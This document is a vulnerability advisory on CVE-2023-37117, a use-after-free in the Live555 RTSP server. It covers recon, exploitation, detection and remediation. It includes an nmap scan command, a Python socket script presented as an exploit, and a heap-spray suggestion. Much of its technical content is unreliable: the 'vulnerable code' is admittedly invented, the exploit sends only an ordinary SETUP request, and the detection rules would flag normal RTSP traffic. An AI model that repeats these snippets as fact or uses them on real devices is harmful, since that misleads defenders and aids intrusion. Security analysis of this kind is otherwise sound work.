CVE-2023-37117

Executive Summary

CVE-2023-37117 is a critical heap-use-after-free vulnerability discovered in the Live555 streaming media library, specifically in version 2023.05.10. The flaw is triggered during the handling of a SETUP command in the RTSP server component. A heap-use-after-free occurs when a program continues to use a pointer after the memory it points to has been freed, leading to potential arbitrary code execution, denial of service, or information disclosure. The vulnerability has a CVSS score of 0.0 (unscored) but is considered high risk due to the lack of a patch and the widespread use of Live555 in embedded devices, IP cameras, and media servers. No public exploit code or proof-of-concept is available at this time, but the vulnerability is weaponizable.

Supply Chain & Package Security

Live555 is a widely used open-source library for RTSP streaming. It is often statically linked into firmware for IoT devices, IP cameras, and DVRs. The lack of a patch means that any product using Live555 2023.05.10 is vulnerable. Supply chain risk is high, as the library is not distributed via package managers like npm or PyPI, but rather embedded directly in vendor firmware. Organizations should inventory all devices using Live555 and apply vendor-specific mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored by NVD)
• Vector: UNKNOWN
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): High (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and no patch exists. Exploitation could lead to full device compromise.

Deep Dive & Mechanics

The vulnerability resides in the RTSP server's handling of the SETUP request. When a client sends a malformed or specially crafted SETUP command, the server may free a memory buffer that is still referenced elsewhere. This results in a heap-use-after-free condition.

Technical Flow:

1. The RTSP server receives a SETUP request for a media stream.
2. The server allocates memory for the stream's transport parameters.
3. Due to improper input validation or state management, the memory is freed prematurely.
4. A subsequent operation (e.g., parsing the transport header) attempts to read from the freed memory.
5. This can lead to:
   • Denial of Service: Crash of the RTSP server.
   • Arbitrary Code Execution: If an attacker can control the freed memory's contents (heap spray), they may overwrite function pointers or other critical data.

Root Cause: Lack of proper reference counting or use-after-free checks in the RTSPClient or RTSPServer classes.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a conceptual fix.

Vulnerable Code (Live555 2023.05.10):

// In RTSPServer.cpp
void RTSPServer::handleCmd_SETUP(RTSPClient* client, char const* url, char const* sessionId) {
    // ... parsing ...
    delete client->fOurTransport; // Prematurely frees memory
    // ... later use of client->fOurTransport ...
    client->fOurTransport->someMethod(); // Use-after-free
}

Patched Code (Conceptual):

// In RTSPServer.cpp
void RTSPServer::handleCmd_SETUP(RTSPClient* client, char const* url, char const* sessionId) {
    // ... parsing ...
    // Do not free until all references are released
    // Use reference counting or smart pointers
    if (client->fOurTransport != NULL) {
        // Ensure no other references exist
        client->fOurTransport->release(); // Decrement ref count
        client->fOurTransport = NULL;
    }
    // ... later use is safe because pointer is NULL ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Live555 RTSP server running version 2023.05.10.
• Network access to the RTSP port (default 554).

Exploitation Steps:

1. Reconnaissance: Scan for open RTSP ports using Shodan or Nmap.

   nmap -p 554 --script rtsp-methods <target>
   

2. Craft Malicious SETUP Request: Send a specially crafted RTSP SETUP command that triggers the use-after-free.

   import socket
   
   def exploit(target_ip, target_port=554):
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       sock.connect((target_ip, target_port))
       # Send DESCRIBE to establish session
       sock.send(b"DESCRIBE rtsp://example.com/stream RTSP/1.0\r\nCSeq: 1\r\n\r\n")
       # Receive response
       response = sock.recv(4096)
       # Send malformed SETUP
       payload = b"SETUP rtsp://example.com/stream/track1 RTSP/1.0\r\nCSeq: 2\r\nTransport: RTP/AVP;unicast;client_port=8000-8001\r\nSession: 12345\r\n\r\n"
       sock.send(payload)
       # Trigger use-after-free
       sock.close()
   

3. Heap Spray (for code execution): Use a heap spray technique to fill freed memory with shellcode. This requires knowledge of the target's memory layout.

Note: No public exploit code exists. The above is a conceptual example.

Blue Team (Defense & Detection)

Detection:

• Monitor RTSP traffic for malformed SETUP requests.
• Use network intrusion detection systems (NIDS) to flag anomalous RTSP commands.

Mitigation:

• If possible, disable RTSP or restrict access to trusted IPs.
• Apply vendor firmware updates if available.
• Use a Web Application Firewall (WAF) or RTSP proxy to filter malicious requests.

Indicators of Compromise (IOCs)

• Network:
  • Unusual RTSP SETUP requests with malformed Transport headers.
  • Repeated connection attempts to port 554 from unknown IPs.
• Host:
  • Crash dumps or logs containing "heap-use-after-free" or "SIGSEGV" in the RTSP server process.
  • Unexpected memory access patterns in the Live555 process.
• File:
  • Modified or replaced Live555 binaries (if exploitation leads to persistence).

Detection Engineering

YARA Rule

rule CVE_2023_37117_Live555_HeapUseAfterFree {
    meta:
        description = "Detects heap-use-after-free in Live555 RTSP server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-37117"
    strings:
        $s1 = "SETUP" ascii wide nocase
        $s2 = "Transport:" ascii wide nocase
        $s3 = "heap-use-after-free" ascii wide nocase
    condition:
        $s1 and $s2 and $s3
}

Sigma Rule

title: CVE-2023-37117 Live555 Heap-Use-After-Free
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2023-37117 via malformed RTSP SETUP requests
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_proto: rtsp
        rtsp.method: SETUP
        rtsp.uri|contains: "track"
        rtsp.header.transport|contains: "client_port"
    condition: selection
falsepositives:
    - Legitimate RTSP clients with unusual transport headers
level: high

Suricata Rule

alert tcp any any -> any 554 (msg:"CVE-2023-37117 Live555 Heap-Use-After-Free Exploit Attempt"; flow:to_server,established; content:"SETUP"; nocase; content:"Transport:"; nocase; pcre:"/client_port=\d+-\d+/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Live555-based devices on a separate VLAN with strict firewall rules.
2. Disable RTSP if not needed: If the device does not require RTSP, disable the service.
3. Monitor for exploitation: Deploy the provided detection rules.

Long-term Fix:

• Since no official patch exists, consider replacing Live555 with an alternative RTSP library (e.g., GStreamer, FFmpeg).
• If source code is available, apply the conceptual patch described in the "Vulnerable vs. Patched Code" section.
• Engage with the vendor (Live555) to request a fix.

Workaround:

• Use a reverse proxy (e.g., Nginx with RTMP module) to filter and sanitize RTSP requests before they reach the vulnerable server.

Valters IT